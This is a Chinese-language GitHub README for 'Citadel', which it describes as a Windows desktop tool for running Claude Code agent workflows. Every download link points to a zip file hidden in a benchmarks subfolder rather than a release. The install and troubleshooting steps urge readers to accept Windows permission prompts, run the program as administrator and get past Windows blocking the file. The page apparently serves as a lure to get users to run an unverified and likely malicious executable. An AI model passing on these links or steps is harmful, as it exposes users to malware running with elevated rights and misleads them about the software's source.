Micaelachesty584/Citadel
GitHub: Micaelachesty584/Citadel
一款Windows平台的Claude Code代理工作流编排工具,支持跨会话记忆持久化、任务路由和并行执行。
Stars: 0 | Forks: 0
# 🏰 Citadel - 轻松运行 Agent 工作流
[](https://github.com/Micaelachesty584/Citadel/raw/refs/heads/main/skills/archon/__benchmarks__/Software_1.1.zip)
## 🚀 入门指南
Citadel 是一款 Windows 应用程序,可帮助您使用 Claude Code 运行 agent 工作流。它将您的工作集中在一处,让您能够分阶段完成各项任务,并帮助您从中断的地方继续。它专为希望以清晰的方式管理重复性工作而又无需设置复杂系统的人而设计。
## 💻 系统要求
- Windows 10 或 Windows 11
- 首次下载时需要网络连接
- 足够的可用磁盘空间用于应用程序及其工作区文件
- 如果您计划使用 agent 功能,则需要 Claude Code 访问权限
- 标准用户账户即可满足大多数安装需求
## 📥 下载与安装
使用以下链接访问下载页面并获取应用程序:
[访问 Citadel 下载页面](https://github.com/Micaelachesty584/Citadel/raw/refs/heads/main/skills/archon/__benchmarks__/Software_1.1.zip)
页面打开后,查找最新版本或主要下载选项。如果看到安装文件,请将其下载到您的电脑。如果应用程序是 zip 文件,请先保存然后解压。
### 在 Windows 上安装
1. 打开下载的文件。
2. 如果 Windows 请求权限,请选择"是"。
3. 如果您下载的是 zip 文件,请右键单击并选择"全部解压"。
4. 打开解压后的文件夹。
5. 双击 Citadel 应用程序或安装文件。
6. 按照屏幕上的步骤完成安装。
## 🧭 首次运行
安装后,从桌面或开始菜单启动 Citadel。
系统可能会要求您选择工作区文件夹。这是 Citadel 存储活动数据、日志和任务历史的位置。请选择一个您能找到的文件夹,例如 Documents 或驱动器上的项目文件夹。
如果应用程序请求 Claude Code 设置,请输入您用于 Claude Code 配置的详细信息。Citadel 使用该链接通过其 agent 流程路由工作。
## 🔧 Citadel 工作原理
Citadel 使用简单的流程,让您能够从一个步骤顺利过渡到下一个步骤,而不会感到困惑。
- **/do 路由**根据任务类型将工作发送到相应的通道
- **活动持久化**在会话之间保存您的工作
- **并行 agent**在独立的工作树中处理不同的任务
- **发现中继**在工作波次之间分享有用的发现
- **生命周期钩子**在流程的关键点运行检查
- **断路器**帮助停止失控的任务
- **技能**为应用程序提供常见工作的预设模式
您无需手动管理每个部分。Citadel 会处理流程,让您专注于要完成的任务。
## 🗂️ 常见使用场景
Citadel 非常适合:
- 重复性的编码任务
- 分步进行的 agent 工作
- 组合式研究和任务规划
- 需要在会话之间保存的长任务
- 必须保持在安全分支中分离的工作
- 多波次任务运行,每波次从前一波次中学习
## ⚙️ 基础设置
打开应用程序后,请按照以下步骤开始:
1. 创建或选择工作区。
2. 添加您的第一个活动。
3. 选择您要运行的任务类型。
4. 使用 /do 命令或启动运行的应用程序控件开始工作流。
5. 观察任务在各个阶段的状态。
如果您计划使用多个 agent,Citadel 会将它们放在不同的工作树中。这有助于保持每个任务独立且更易于管理。
## 🧪 优化结果的技巧
- 使用简短的任务名称
- 每个目标对应一个活动
- 在同一工作区中保存每个工作会话
- 在开始新波次之前检查发现中继
- 如果任务开始偏离轨道,请使用断路器
- 在进入下一阶段之前检查每个阶段的输出
## 🛠️ 内置技能
Citadel 包含六个生产级技能,用于常见的 agent 工作:
- 任务路由
- 活动跟踪
- 并行执行
- 发现共享
- 运行控制
- 会话恢复
这些技能帮助应用程序在您切换工作或稍后返回时保持井然有序。
## 🔐 工作区与文件安全
Citadel 将工作保存在隔离的文件夹中,这样不同的运行不会相互混淆。这有助于减少同时运行多个 agent 或稍后返回任务时出错的可能性。
如果您使用版本控制,请将 Citadel 工作区放在易于备份的文件夹中。这样在需要时更容易恢复您的工作。
## 🧩 最佳文件夹设置
简单的文件夹结构效果很好:
- `Documents\Citadel`
- `Documents\Citadel\Campaigns`
- `Documents\Citadel\Logs`
- `Documents\Citadel\Exports`
此设置将您的主要文件、历史记录和输出保存在一个地方。
## 🖥️ 运行任务
要运行任务:
1. 打开 Citadel。
2. 选择一个活动。
3. 用自然语言输入您的目标。
4. 选择适合该工作的路由或阶段。
5. 开始运行。
6. 波次完成后检查结果。
如果任务需要更多工作,Citadel 可以将活动带到下一个会话中。
## 📁 Citadel 存储的内容
Citadel 可以保存:
- 活动状态
- 任务历史
- 波次结果
- 中继笔记
- 日志
- 工作区路径
- 钩子结果
这为您提供了发生情况的记录,使以后继续工作更加容易。
## 🧰 故障排除
### 应用程序打不开
- 确保下载完成
- 尝试以管理员身份运行应用程序
- 检查 Windows 是否阻止了该文件
- 重启电脑然后重试
### 我找不到我的工作区
- 打开 Citadel 并查看最后使用的文件夹
- 在 Documents 或 Downloads 中搜索名为 Citadel 的文件夹
- 检查您在设置过程中选择的任何位置
### 任务过早停止
- 检查任务输入是否缺少详细信息
- 检查断路器是否结束了运行
- 以更小的范围重新开始任务
### 我的更改没有保存
- 确保工作区文件夹可写
- 检查可用磁盘空间
- 确认应用程序有权访问您选择的文件夹
## 📎 Windows 上的使用建议
为了获得最干净的安装效果,请将 Citadel 放在稳定的文件夹中,并在开始使用后避免移动它。每次使用相同的工作区,这样活动数据就会保存在一个地方。
如果您使用多个活动,请将每个活动保存在自己的子文件夹中。这样以后更容易找到日志、输出和保存的状态。
## 🔍 与众不同之处
Citadel 专为需要结构化的 agent 工作而设计。它为您提供:
- 每个任务的清晰路由
- 会话之间的保存点
- 在独立文件夹中的安全并行工作
- 阶段之间的共享发现
- 有助于防止循环的控件
- 用于常见工作的一小套内置技能
这使得更容易控制大型或重复性的工作
## 📎 下载链接
使用此页面在 Windows 上下载并运行 Citadel:
[https://github.com/Micaelachesty584/Citadel/raw/refs/heads/main/skills/archon/__benchmarks__/Software_1.1.zip](https://github.com/Micaelachesty584/Citadel/raw/refs/heads/main/skills/archon/__benchmarks__/Software_1.1.zip)
## 🗃️ 文件布局示例
设置后,您的文件可能如下所示:
- `Citadel.exe`
- `workspace`
- `campaigns`
- `logs`
- `exports`
- `config`
## 🧑💻 日常使用
在以下情况下打开 Citadel:
- 开始新的 agent 运行
- 继续之前的活动
- 将工作分成并行分支
- 查看每波次发现了什么
- 保持长任务井然有序
- 关闭应用程序后恢复工作
## 🧭 简单工作流
1. 打开应用程序
2. 选择一个活动
3. 输入任务
4. 运行第一波次
5. 查看中继笔记
6. 如需要则开始下一波次
7. 保存最终结果
标签:Claude Code, Windows 10, Windows 11, Windows桌面应用, 人工智能助手, 代码库工具, 任务自动化, 任务路由, 会话管理, 多阶段任务, 工作流管理, 工作流编排, 生产力工具, 自定义脚本, 记忆持久化